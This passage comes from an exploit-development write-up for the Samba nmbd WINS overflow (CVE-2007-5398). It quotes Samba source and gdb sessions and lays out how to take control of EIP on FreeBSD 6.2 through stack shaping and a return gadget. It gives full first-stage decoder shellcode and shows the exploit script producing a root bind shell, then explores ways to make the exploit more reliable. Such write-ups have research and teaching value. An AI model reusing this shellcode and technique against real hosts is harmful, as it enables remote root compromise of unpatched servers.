‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Following the call to put_res_rec(), we see:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

388

389 /**************************************

390 Put a resource record into a packet.

391 ***************************************

392

393 static int put_res_rec(char *buf,int offset,struct res_rec *recs, int count)

394 {

395 int ret=0;

396 int i;

397

398 for (i=0;i<count;i++) {

399 int l = put_nmb_name(buf,offset,&recs[i].rr_name); 400 offset += l;

401 ret += l;

402 RSSVAL(buf,offset,recs[i].rr_type);

403 RSSVAL(buf,offset+2,recs[i].rr_class); 404 RSIVAL(buf,offset+4,recs[i].ttl);

405 RSSVAL(buf,offset+8,recs[i].rdlength); 406 memcpy(buf+offset+10,recs[i].rdata,recs[i].rdlength); 407 offset += 10+recs[i].rdlength;

408 ret += 10+recs[i].rdlength;

409 }

410

411 return(ret);

412 }

413

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

And following up with put_nmb_name():

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

279 /**************************************

280 Put a compressed nmb name into a buffer. Return the length of the 281 compressed name.

282

283 Compressed names are really weird. The "compression" doubles the 284 size. The idea is that it also means that compressed names conform 285 to the doman name system. See RFC1002.

286 ***************************************

287

288 static int put_nmb_name(char *buf,int offset,struct nmb_name *name) 289 {

290 int ret,m;

291 nstring buf1;

292 char *p;

293

294 if (strcmp(name‑>name,"*") == 0) {

295 /* special case for wildcard name */

296 put_name(buf1, "*", '\0', name‑>name_type); 297 } else {

298 put_name(buf1, name‑>name, ' ', name‑>name_type); 299 }

300

301 buf[offset] = 0x20;

302

303 ret = 34;

304

305 for (m=0;m<MAX_NETBIOSNAME_LEN;m++) {

306 buf[offset+1+2*m] = 'A' + ((buf1[m]>>4)&0xF); 307 buf[offset+2+2*m] = 'A' + (buf1[m]&0xF); 308 }

309 offset += 33;

310

311 buf[offset] = 0;

312

313 if (name‑>scope[0]) {

314 /* XXXX this scope handling needs testing */

315 ret += strlen(name‑>scope) + 1;

316 safe_strcpy(&buf[offset+1],name‑>scope,sizeof(name‑>scope)) ; 317

318 p = &buf[offset+1];

319 while ((p = strchr_m(p,'.'))) {

320 buf[offset] = PTR_DIFF(p,&buf[offset+1]); 321 offset += (buf[offset] + 1);

322 p = &buf[offset+1];

323 }

324 buf[offset] = strlen(&buf[offset+1]); 325 }

326

327 return(ret);

328 }

329

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

And put_name():

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

262 /**************************************

263 Put a netbios name, padding(s) and a name type into a 16 character buffer.

264 name is already in DOS charset.

265 [15 bytes name + padding][1 byte name type].

266 ***************************************

267

268 void put_name(char *dest, const char *name, int pad, unsigned int name_type )

269 {

270 size_t len = strlen(name);

271

272 memcpy(dest, name, (len < MAX_NETBIOSNAME_LEN) ? len : MAX_NETBIOSN AME_LEN ‑ 1);

273 if (len < MAX_NETBIOSNAME_LEN ‑ 1) {

274 memset(dest + len, pad, MAX_NETBIOSNAME_LEN ‑ 1 ‑ len); 275 }

276 dest[MAX_NETBIOSNAME_LEN ‑ 1] = name_type;

277 }

278

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So it appears with a large enough request, we can overflow the second char buf[1024]; in send_packet(), but due to stack cookies that may not get us much.

Indeed, after a bit of experimenting, it looks like this is not exploitable out of the box on Ubuntu, due to propolice/SSP, and the later code flow does not appear to provide us with a mechanism where we can write to other memory we can control, unfortunately. That said, I may of missed something obvious, or I might not of understood something correctly. If anyone has anything to the contrary, I would appreciate it.

Since the majority of other popular Linux platforms support SSP, I decided to take a look at FreeBSD's CURRENT platform, and see if that would be vulnerable/exploitable, and by a quick objdump on the nmbd binary, it appears to be. I was quite disappointed to learn that after experimenting with triggering the vulnerability, that it didn't appear to be exploitable, due to stack cookies. (At least, with my current knowledge and understanding, and sans bugs in the stack cookie check failure).

For what it's worth, apparently OpenBSD and DragonFly BSD both use SSP and other security mechanisms.. but I hardly ever do anything on *BSD work, and don't overly care what they're doing (or lack thereof)

‑‑[ 5 ‑ Writing an exploit for Samba Version 3.0.23c on FreeBSD 6.2

‑‑[ 5.1 ‑ Verifying valid registration flags

To correctly exploit the nmbd daemon, we'll need to control the stack layout with precision. Reviewing how the data is laid out, we see that the flags parameter is used with what the host registered with. Due to potential restrictions, we need to validate what ranges are valid and can be used.

By doing some quick grepping of the samba source code, we find the below code which modifies the flags:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

nmbd_packets.c:

uint16 get_nb_flags(char *buf)

{

return ((((uint16)*buf)&0xFFFF) & NB_FLGMSK);

}

../include/nameserv.h:#define NB_FLGMSK 0xE0

nmbd_winserver.c:

void wins_process_name_registration_request(struct subnet_record *subrec,

struct packet_struct *p)

{

...

if(registering_group_name && (question‑>name_type != 0x1c)) { from_ip = *interpret_addr2("255.255.255.255"); }

...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From the above, we see what the only certain bits set in the request flags is valid, and depending on what those bits are, that they can modify the ip address associated with the register request. To keep things extremely simple, we will stick with using 0x0000 as the flags, and work out whatever issues that brings us.

‑‑[ 5.2 ‑ Ordering the stack data correctly

Samba stores NMB registrations in the tdb[4] format, a database backend designed by the Samba team to prevent re‑implementing the same code several times throughout Samba.

Due to the mechanisms that tdb uses, the way that nmbd returns our registered flags and ip addresses are not necessarily in order that we registered them. Further analysis reveals that we force a particular layout in order to exploit it correctly.

Looking at how names are looked up, we see:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

nmbd_winsserver.c:

static void process_wins_dmb_query_request(struct subnet_record *subrec,

struct packet_struct *p)

{

...

fetch_all_active_wins_1b_names();

...

void fetch_all_active_wins_1b_names(void)

{

tdb_traverse(wins_tdb, fetch_1b_traverse_fn, NULL);

}

/***************************************

Fetch all *<1b> names from the WINS db and store on the namelist.

****************************************

static int fetch_1b_traverse_fn(TDB_CONTEXT *tdb, TDB_DATA kbuf, TDB_DATA

dbuf, void *state)

{

struct name_record *namerec = NULL;

if (kbuf.dsize != sizeof(unstring) + 1) { return 0;

}

/* Filter out all non‑1b names. */

if (kbuf.dptr[sizeof(unstring)] != 0x1b) { return 0;

}

namerec = wins_record_to_name_record(kbuf, dbuf); if (!namerec) {

return 0;

}

DLIST_ADD(wins_server_subnet‑>namelist, namerec); return 0;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

fetch_all_active_wins_1b_names() just calls tdb_traverse() with a call back function of fetch_1b_traverse_fn(), which adds it to a temporary name cache storage, at the top of a doubly linked list.

Looking at tdb_traverse(), it calls tdb_traverse_internal(), which is where the majority of the work gets done. At this stage, it is probably easier to look at how data gets stored to the database, which happens in tdb_store().

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* store an element in the database, replacing any existing element

with the same key

return 0 on success, ‑1 on failure

*/

int tdb_store(struct tdb_context *tdb, TDB_DATA key, TDB_DATA dbuf, int flag)

{

...

/* find which hash bucket it is in */

hash = tdb‑>hash_fn(&key);

if (tdb_lock(tdb, BUCKET(hash), F_WRLCK) == ‑1)

return ‑1;

...

nmbd/nmbd_processlogon.c:tdb = tdb_open_log(lock_path("connections.tdb"),0, nmbd/nmbd_winsserver.c: wins_tdb = tdb_open_log(lock_path("wins.tdb"), 0, TDB_DEFAULT|TDB_CLEAR_IF_FIRST, O_CREAT|O_RDWR, 0600);

tdb_private.h:#define BUCKET(hash) ((hash) % tdb‑>header.hash_size)

struct tdb_context *tdb_open(const char *name,int hash_size, int tdb_flags, int open_flags, mode_t mode)

...

if (hash_size == 0)

hash_size = DEFAULT_HASH_SIZE;

tdb_private.h:#define DEFAULT_HASH_SIZE 131

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From this, we can see that we need to use the hash_fn() (which defaults to default_tdb_hash()) , and then we need to modulus the hash result by DEFAULT_HASH_SIZE. By generating names that hash to 130, we can put our data in order on the stack, after every already existing 0x1b registrations. Before exploitation, we need to see how many existing 0x1b registrations exist, so that the stack can be overflowed correctly.

This reminds me of the Algorithmic Complexity attacks, outlined here [5]. Not directly related, but still interesting none the less.

‑‑[ 5.3 ‑ Code execution analysis

By triggering the vulnerability and examining the stack layout, we see that saved eip can be partially overwritten, with two bytes. If we overwrite once more, the top two bytes of eip will be the two flag bytes, and overwrite the first argument to the function. After the overwrite the value of orig_packet, the nmbd code will index into it, to copy a 4 byte value, as seen below.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

nmbd_packets.c, send_reply_packet():

973 packet.fd = orig_packet‑>fd;

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So far in the analysis, a partial overwrite of the two least significant bytes of eip seems to be the best course of action, as it's unlikely we can put anything useful in the top two bytes (due to the flags). Causing an overwrite of the least significant bytes with "D"'s, show:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Program received signal SIGSEGV, Segmentation fault.

0x08074444 in packet_is_for_wins_server ()

(gdb) x/10i $eip

0x8074444 <packet_is_for_wins_server+236>: mov 0x400(%ebx),%eax 0x807444a <packet_is_for_wins_server+242>: mov (%eax),%eax 0x807444c <packet_is_for_wins_server+244>: cmpl $0x9,(%eax) 0x807444f <packet_is_for_wins_server+247>: jle 0x80743a1 <packet_is_for_wins_server+73>

0x8074455 <packet_is_for_wins_server+253>: push $0x1fa 0x807445a <packet_is_for_wins_server+258>: lea 0xfffd66ad(%ebx),%eax 0x8074460 <packet_is_for_wins_server+264>: push %eax 0x8074461 <packet_is_for_wins_server+265>: lea 0xfffd6479(%ebx),%eax 0x8074467 <packet_is_for_wins_server+271>: push %eax 0x8074468 <packet_is_for_wins_server+272>: push $0xa (gdb) i r ebx

ebx 0x0 0

(gdb) i r

eax 0x1 1

ecx 0x2834fd80 674561408

edx 0x40 64

ebx 0x0 0

esp 0xbfbfe540 0xbfbfe540

ebp 0x44440000 0x44440000

esi 0x0 0

edi 0x41414141 1094795585

eip 0x8074444 0x8074444

eflags 0x10282 66178

cs 0x33 51

ss 0x3b 59

ds 0x3b 59

es 0x3b 59

fs 0x3b 59

gs 0x1b 27

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

We can see that we can completely control edi and to a lesser extent ebp.

Looking at the disassembly of the applicable epilogue of the reply_netbios_packet() function, we see:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

.text:0806D0A0 pop edi

.text:0806D0A1 leave

.text:0806D0A2 retn

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To gain complete control of eip, we can look for a jmp edi or push edi ; ret. After some searching in 0x0807xxxx, a suitable instruction sequence is found (via incredibly lame means.. but it worked :p):

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

freebsd62# objdump ‑d nmbd | egrep ‑i "^ 807.*57 c[23]" 80728a4: e8 57 c2 04 00 call 80beb00 <x_fclose>

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

which translates into a push edi ; ret 0x04. By setting our last two bytes to 0x080728a5, we can get direct control:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

(gdb) r

Starting program: /usr/local/sbin/nmbd ‑F ‑s smb.conf

(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...y

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From this point of time, we need to get shellcode running correctly. Thinking back to how the data is laid out ([2 byte flags, both null][4 byte ip address]).. it's probably the best approach to write a custom decoder.

‑‑[ 5.4 ‑ Shellcode

As discussed above, a special decoder would be needed so what we can use generic shellcode available, as opposed to porting common shellcode to account for 1/3 of the bytes being rubbish.

After experimenting, I wrote a shellcode that would reconstruct 4 bytes, then skip two bytes, then jump to the place where we re‑constructed the shellcode.

Shellcode is as follows (nasm ‑f bin first_layer_sc.asm ‑o first_layer_sc.bin to compile.). At entry of the shellcode, edi points to our current eip.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

BITS 32

%define tbnop add byte [eax],0x0; 0x80 0x00 0x00

_start:

add [eax], al; two byte nulls, for flags.

cld; reset direction flag

mov eax, edi ; since our two byte nop dereferences [eax] ; we need a writable memory location.

tbnop

mov esi, edi ; ESI = source of encoded shellcode nop

tbnop

add esi, byte 60 ; increment esi to start of real shellcode

tbnop

mov edi, esp ; Place we're going to execute nop

tbnop

xor ecx, ecx

nop

tbnop

mov cl, byte 0x7e; how many bytes we want to copy. Can copy up ; 126 bytes or so. This can be fixed if

; nessessacy

nop

tbnop

.copier:

movsd

nop

nop

tbnop

add esi, byte 0x02

tbnop

loopnz .copier

.ready:

jmp esp

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

For the second layer shellcode, we can use any shellcode we want. For additional flexibility, I have used the InlineEgg [6] package to allow for greater flexibility in the second layer shellcode.

Encoding the shellcode for registration packets is extremely straight forward. Change the endian / ordering of 4 bytes and append 2 NULL bytes.

Ideally, the second layer shellcode would encode the shell registration information over the existing socket / fd information, using the nmb protocol.

If it where a more useful exploit, it would be worth while expending the effort to write the required code.

‑‑[ 5.5 ‑ Getting a shell

By combining the above information, and determining where in the stack the shellcode lies, we can get a shell:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[target machine]

(gdb) shell rm /var/db/samba/wins.*

(gdb) r

Starting program: /usr/local/sbin/nmbd ‑F ‑s smb.conf

(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...

Program received signal SIGTRAP, Trace/breakpoint trap.

Cannot remove breakpoints because program is no longer writable. It might be running in another process.

Further execution is probably impossible.

0x28065af0 in ?? ()

(gdb) # This happened because our nmbd executed a new program (gdb) c

[attacking machine]

$ python CVE‑2007‑5398.py ‑‑host 172.16.178.128 ‑‑target 0

Hit y if you want to test registration flags, otherwise just hit enter> Existing registrations: 0

Amount of registrations to reach EIP: 239

Got 0 existing registrations. Hit any key to continue...

First layer of shellcode is 66 bytes long

Second layer of shellcode is 246 bytes long

Names: |=====================================100.00

Registering: |=====================================100.00

stack left over:

Please hit enter to send final packet...

Attempting to connect to 172.16.178.128:31337

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

You are in luck; it appears to of worked... shell below.

‑‑

# It worked

# id

uid=0(root) gid=0(wheel) groups=0(wheel), 5(operator)

# uname ‑a

FreeBSD freebsd62 6.2‑RELEASE FreeBSD 6.2‑RELEASE #0: Fri Jan 12 10:40:27 2007 root@dessler.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So, with a bunch of research and analysis, we're only part way there. It would be nice to have a better place to return to.

‑‑[ 5.6 ‑ Making the exploit more reliable

Currently, our exploit has two hard coded entries, the first of which is the location of a sequence of code which uses edi to gain code execution (so far, 0x080728a5 (for our current target of FreeBSD 6.2). Additionally, it uses the exact location of the start of the shellcode. Due to various reasons, the stack address can change easily for such an exact address, due to reasons such as:

* Starting or restarting nmbd manually

* Differing environmental strings

* In later Linux 2.6 series, memory randomisation is enabled by default, for certain mappings.

There are a couple of opportunities to make this exploit more reliable, such as adding large nop sequences, or perhaps putting / finding some suitable code elsewhere.

The larger nop sequence may help, but 1/3 of the bytes are NULL / not useful, so it is debatable. Additionally, this means if the range was accurate, we have only a 2/3 chance of hitting a suitable nop sequence, as opposed to outright crashing (as "\x00\x00" encodes to add [eax], al, and since eax will be one (1) when the nop sequence is hit, it will crash.) So, for the time being we will look for another place / way to gain reliable execution control.

‑‑[ 5.6.1 ‑ static .bss data

While analysing this vulnerability, I noticed an interesting function that gets called when sending registration packets:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

nmbd/nmbd_winsserver.c:

/***************************************

Overwrite or add a given name in the wins.tdb.

****************************************

static BOOL store_or_replace_wins_namerec(const struct name_record *namerec

int tdb_flag)

{

TDB_DATA key, data;

int ret;

if (!wins_tdb) {

return False;

}

key = name_to_key(&namerec‑>name);

data = name_record_to_wins_record(namerec);

if (data.dptr == NULL) {

return False;

}

ret = tdb_store(wins_tdb, key, data, tdb_flag);

SAFE_FREE(data.dptr);

return (ret == 0) ? True : False;

}

...

/***************************************

Create key. Key is UNIX codepage namestring (usually utf8 64 byte len) with 1 byte type.

****************************************

static TDB_DATA name_to_key(const struct nmb_name *nmbname)

{

static char keydata[sizeof(unstring) + 1]; TDB_DATA key;

memset(keydata, '\0', sizeof(keydata));

pull_ascii_nstring(keydata, sizeof(unstring), nmbname‑>name); strupper_m(keydata);

keydata[sizeof(unstring)] = nmbname‑>name_type; key.dptr = keydata;

key.dsize = sizeof(keydata);

return key;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The most interesting about the above is the static char keydata[sizeof(unstring) + 1]; which gives us the ability to put upto 64 bytes into a static location in the .bss. However, since NetBIOS names are 15 chars long, there is still a lot of code that could be put here. Some information on small shellcodes to find things can be found here [7]

name_to_key() is called from three locations in the code, with self explaining names (not including the above store_or_replace_wins_namerec():

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/***************************************

Delete a given name in the tdb and remove the temporary malloc'ed data struct on the linked list.

****************************************

BOOL remove_name_from_wins_namelist(struct name_record *namerec) {

...

struct name_record *find_name_on_wins_subnet(const struct nmb_name *nmbname

BOOL self_only)

{

...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Of interest is the store_or_replace_wins_namerec() which is called when sending the registration packets to trigger the overflow. We may be able to send a suitable, short, shellcode that finds our loader shellcode in the stack (or, with more effort, on the heap, thus avoiding Openwall style non‑executable stack patches).

Being able to use this static location gives us some advantages over stack randomisation / changes.

Looking further into pull_ascii_nstring() we see that it does DOS code page mappings to UNIX code pages, especially relating to bytes with high bits installed. Unfortunately, it heavily mangles the input (via the translation phase), then performs an uppercase operation on the string. I experimented with the above restrictions and was not get anything working, but it went over the length restriction. The idea worked on:

* push esp

* pop ebp

* push edi

* pop esp

* using pop to access the code we're executing

* using the charcase conversion to get 4 bytes with the most significant bit set from 1 byte.

* using xor [edi+index], reg to modify the applicable code we're executing ,then to do something equivilent to sub ebp, <offset> ; jmp ebp

If anyone works out a suitable shellcode that fits in those restrictions, I would definately be interested in hearing from you. I suspect given more time / motivation something would come up, and in hindsight would be a "that's obvious" case. Additionally, we can control the contents of the top two bytes of ebp, which may be useful in some way for coding the shellcode. Possibly something like:

* push ebp

* inc esp ; skip over null byte

* inc esp

* byte with high bit set that gets translated into a 0xc3 (ret instruction)

* What two arbitrary bytes it executes has to be chosen carefully. A jmp sled backwards may work, but certain data structures can not be modified randomly as nmbd will crash before code execution takes place.

Another potential static address we could use is the following:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

libsmb/nmblib.c:

1123 static unsigned char sort_ip[4];

1124

1125 /**************************************

1126 Compare two query reply records.

1127 ***************************************

1128

1129 static int name_query_comp(unsigned char *p1, unsigned char *p2) 1130 {

1131 return matching_quad_bits(p2+2, sort_ip) ‑ matching_quad_bits(p1+2, sort_ip);

1132 }

1133

1134 /**************************************

1135 Sort a set of 6 byte name query response records so that the IPs that 1136 have the most leading bits in common with the specified address come first.

1137 ***************************************

1138

1139 void sort_query_replies(char *data, int n, struct in_addr ip) 1140 {

1141 if (n <= 1)

1142 return;

1143

1144 putip(sort_ip, (char *)&ip);

1145

1146 qsort(data, n, 6, QSORT_CAST name_query_comp); 1147 }

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

which is reachable from nmbd/nmbd_winsserver.c:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1831 void send_wins_name_query_response(int rcode, struct packet_struct *p,

1832 struct name_record *namerec)

1833 {

1834 char rdata[6];

1835 char *prdata = rdata;

1836 int reply_data_len = 0;

1837 int ttl = 0;

1838 int i;

1839

1840 memset(rdata,'\0',6);

1841

1842 if(rcode == 0) {

1843 ttl = (namerec‑>data.death_time != PERMANENT_TTL) ? namerec‑>data.death_time ‑ p‑>timestamp : lp_max_wi ns_ttl(); 1844

1845 /* Copy all known ip addresses into the return data. */

1846 /* Optimise for the common case of one IP address so we

don't need a malloc. */

1847

1848 if( namerec‑>data.num_ips == 1 ) {

1849 prdata = rdata;

1850 } else {

1851 if((prdata = (char *) SMB_MALLOC( namerec‑>data.num_ips * 6 )) == NULL) { 1852 DEBUG(0,("send_wins_name_query_response: malloc fail !\n"));

1853 return;

1854 }

1855 }

1856

1857 for(i = 0; i < namerec‑>data.num_ips; i++) { 1858 set_nb_flags(&prdata[i*6],namerec‑>data.nb_flags); 1859 putip((char *)&prdata[2+(i*6)], &namerec‑>data.ip[i]); 1860 }

1861

1862 sort_query_replies(prdata, i, p‑>ip);

1863 reply_data_len = namerec‑>data.num_ips * 6; 1864 }

1865

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

But I have not explored this path fully, but I don't think it would help too much.

After looking over what could be done with such restrictions, I started looking around the code to see if there was any easier mechanisms that would give assistance in exploiting this issue reliably. I noticed a couple of static buffers that could be useful, but they required debugging to be enabled to be exploited correctly ‑ not exactly a good requirement for a reliable exploit.

‑‑[ 5.6.2 ‑ Memory leak

During the initial process of attempting to replicate the issue, I noticed that nmbd would attempt to read from memory that we control ‑ perhaps we can find a memory leak / information disclosure that is useful. Starting off with setting all normally NULL IP address to AABB, we see the first crash:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /usr/local/sbin/nmbd ‑F ‑s smb.conf

Program received signal SIGSEGV, Segmentation fault.

0x080adc67 in debug_nmb_res_rec ()

(gdb) bt

#0 0x080adc67 in debug_nmb_res_rec ()

#1 0x080ae023 in debug_nmb_packet ()

#2 0x0806d1f8 in reply_netbios_packet ()

#3 0x080728a5 in write_browse_list ()

Previous frame inner to this frame (corrupt stack?)

(gdb) x/10i $eip

0x80adc67 <debug_nmb_res_rec+47>: mov 0x60(%edx),%ecx 0x80adc6a <debug_nmb_res_rec+50>: test %ecx,%ecx

0x80adc6c <debug_nmb_res_rec+52>: je 0x80add89 <debug_nmb_res_rec+337> 0x80adc72 <debug_nmb_res_rec+58>: cmp $0xffffff9c,%edx 0x80adc75 <debug_nmb_res_rec+61>: je 0x80add89 <debug_nmb_res_rec+337> 0x80adc7b <debug_nmb_res_rec+67>: cmp $0x0,%ecx

0x80adc7e <debug_nmb_res_rec+70>: movl $0x0,0xffffffe8(%ebp) 0x80adc85 <debug_nmb_res_rec+77>: jle 0x80add89 <debug_nmb_res_rec+337> 0x80adc8b <debug_nmb_res_rec+83>: mov 0x400(%ebx),%eax 0x80adc91 <debug_nmb_res_rec+89>: mov %eax,0xffffffe0(%ebp) (gdb) i r edx ecx

edx 0x41414242 1094795842

ecx 0x42420000 1111621632

(gdb) bt

#0 0x080adc67 in debug_nmb_res_rec ()

#1 0x080ae023 in debug_nmb_packet ()

#2 0x0806d1f8 in reply_netbios_packet ()

#3 0x080728a5 in write_browse_list ()

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Starting our analysis at debug_nmb_packet() in libsmb/nmblib.c:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

103

104 /**************************************

105 Process a nmb packet.

106 ***************************************

107

108 void debug_nmb_packet(struct packet_struct *p)

109 {

110 struct nmb_packet *nmb = &p‑>packet.nmb;

111

112 if( DEBUGLVL( 4 ) ) {

...

131 }

132

133 if (nmb‑>header.qdcount) {

134 DEBUGADD( 4, ( " question: q_name=%s q_type=%d q_class=%d\n", ...

138 }

139

140 if (nmb‑>answers && nmb‑>header.ancount) {

141 debug_nmb_res_rec(nmb‑>answers,"answers"); 142 }

143 if (nmb‑>nsrecs && nmb‑>header.nscount) {

144 debug_nmb_res_rec(nmb‑>nsrecs,"nsrecs"); 145 }

146 if (nmb‑>additional && nmb‑>header.arcount) {

147 debug_nmb_res_rec(nmb‑>additional,"additional"); 148 }

149 }

(gdb) frame 1

#1 0x080ae023 in debug_nmb_packet ()

(gdb) x/8x $esp

0xbfbfdef0: 0x00000000 0x00000000 0x4795ddfa 0x08117a40 0xbfbfdf00: 0xbfbfe210 0x0000059a 0xbfbfe538 0x0806d1f8

Let's take a guess that 0xbfbfe210 is our nmb packet:

(gdb) x/x 0xbfbfe210

0xbfbfe210: 0x41414242

(gdb) x/20x 0xbfbfe210

0xbfbfe210: 0x41414242 0x42420000 0x00004141 0x41414242 0xbfbfe220: 0x42420000 0x00004141 0x41414242 0x42420000 0xbfbfe230: 0x00004141 0x41414242 0x42420000 0x00004141 0xbfbfe240: 0x41414242 0x42420000 0x00004141 0x41414242 0xbfbfe250: 0x42420000 0x00004141 0x41414242 0x42420000

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So the above analysis makes sense. We have overwritten certain data structures it is looking at. Moving on, in debug_nmb_res_rec() we see:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

61 /**************************************

62 Print out a res_rec structure.

63 ***************************************

64

65 static void debug_nmb_res_rec(struct res_rec *res, const char *hdr) 66 {

67 int i, j;

68

69 DEBUGADD( 4, ( " %s: nmb_name=%s rr_type=%d rr_class=%d ttl=%d\n", 70 hdr,

71 nmb_namestr(&res‑>rr_name),

72 res‑>rr_type,

73 res‑>rr_class,

74 res‑>ttl ) );

75

76 if( res‑>rdlength == 0 || res‑>rdata == NULL ) 77 return;

78

79 for (i = 0; i < res‑>rdlength; i+= MAX_NETBIOSNAME_LEN) { 80 DEBUGADD(4, (" %s %3x char ", hdr, i)); 81

